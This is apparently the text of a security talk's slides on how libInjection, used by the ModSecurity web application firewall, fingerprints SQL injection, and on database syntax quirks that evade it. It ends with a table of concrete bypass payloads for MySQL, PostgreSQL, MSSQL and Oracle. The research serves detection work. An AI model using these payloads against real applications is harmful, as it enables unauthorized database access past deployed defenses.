Bypassing ModeSecurity

by Sam Ng

## About me - Have been working in ~~Fortify~~, ~~HP~~, ~~HPE~~, MicroFocus for 12 years - Technical leader in Fortify Security Research Group, focus on Runtime Analysis (i.e. I write RASP Firewall rules) - 17 patents (granted+pending) algorithms
## ModSecurity - By Ivan Ristic, initially an Apache module with a bunch of regex patterns - An open source Web Application Firewall (WAF) - Ivan now works in Qualys ## libInjection - By Nick Galbreath, initially only for detecting SQL Injection, now extended to support Cross-Site Scripting (XSS) as well - The first time I heard about it was in Blackhat 2012, but only included by ModSecurity maybe 2-3 years ago - Open source software - Nick is now the founder of Signal Sciences

libInjection

  • Does it look like a SQL fragment?
  • Three variants
    1. raw input: 0 or 1=1
    2. single quoted: 'sam' or '1'='1'
    3. double quoted: "sam" or "1"="1"
## Tokenization `'1234' UNION USER_ID>0 --'` | input | token | |---------|--------------| |`'123'` |string | |`UNION` |union operator| |`USER_ID`|name | |`>` |operator | |`--` |comment |

Token types

  • string [s]
  • number [1]
  • comment [c]
  • name [n]
  • keyword [k]
  • function [f]
  • operator [o]
  • logical operator [&]
  • group-like operation [g]
  • union-like operation [U]
  • comma [,]
  • semi-colon [;]
  • parenthesis [()]
  • unknown [?]
## Optimization `'1234' UNION ALL SELECT 1234, 1234, 1234, 1234, 1234, 1234, 1234, 1234, 1234 AND 'xyz' = 'xyz'` - Become: `sUk1,1,1,1,1,1,1,1,1&sos` - Become: `sUk1&s` - Max 5 tokens: `sUk1&` - There are around 500 known injection fingerprints
## Demo - Bypass ModSecurity/libInjection on 4 major database vendors 1. MySQL 2. PostgreSQL 3. MS SQL 4. Oracle - The attacks are based on two root causes 1. libInjection can't recognize the code construct 2. It's an unknown fingerprint
## PostgreSQL - $$ quote - `SELECT * FROM table WHERE name = $$sam$$` - `SELECT * FROM table WHERE name = $hello$sam$hello$`
## MS-SQL - `SELECT * FROM table1 WHERE age > $10` - Except $, many other currency symbols are supported - ¢, £, ¤, ¥, ৲, ৳, ฿, ៛, ₠, ₡, ₢, ₣, ₤, ₥, ₦, ₧, ₨, ₩, ₪, ₫ - €, ₭, ₮, ₯, ₰, ₱, ﷼, ﹩, $, ¢, £, ¥, ₩
## Oracle - q quote - `SELECT * FROM table WHERE name = q'!ab'cd!'` - `SELECT * FROM table WHERE name = q'(ab'cd)'` - {}, [], () are paired, ( still ends with ( - 1.0d means 1.0 decimal, 1.0f means 1.0 float - `select * from table1 where age > 1d` - Oracle always consume the 'd' or 'f' if available
## Line comment `SELECT * FROM table WHERE -- foobar [ch] name = 'sam'` | Server | Result | |--------|----------| | MySQL | \n | | PgSQL | \r or \n | | MsSQL | \r or \n | | Oracle | \n |
## Lesson Learn - I won't say libInjection is bad, in fact, libInjection is much better than regex patterns - Detecting SQL Injection is *HARD* - That means detecting XSS with injection point inside a `script` tag or `OnClick` attribute is equally difficult
## Related research - LangSec suggests using full parser (usually implemented by parser combinator) to parse the input data. LangSec recommends people to use a parser with exactly the same behavior as the backend parser. Prevoty, a RASP provider, maybe doing this. - RASP allows us to capture not only the HTTP side inputs, but also the full query string. My research in Fortify is in this area. - Some researchers implemented a dynamic taint on PHP with 5-10% performance degradation. I implemented dynamic taint on Java, but the performance overhead was 300%, .NET was even worse. - You can also enable Bayesian analysis on ModSecurity.

Summary

MySQL PgSQL
0 or true
0 or age > 0
0 or age != name
a' or age > 0 #
a' or 3>.1e(2) #
0 or \|/ 25 > 1
a' or $x$a'b$x$ != 'y
MSSQL Oracle
0 or 2 < > 1
a' or 2 < > 1 --
a' or€2 > 0 --
0 or 2^=1
x' or q'(d)' ab cd ef(' != 'x
x' + 1dor 2>'1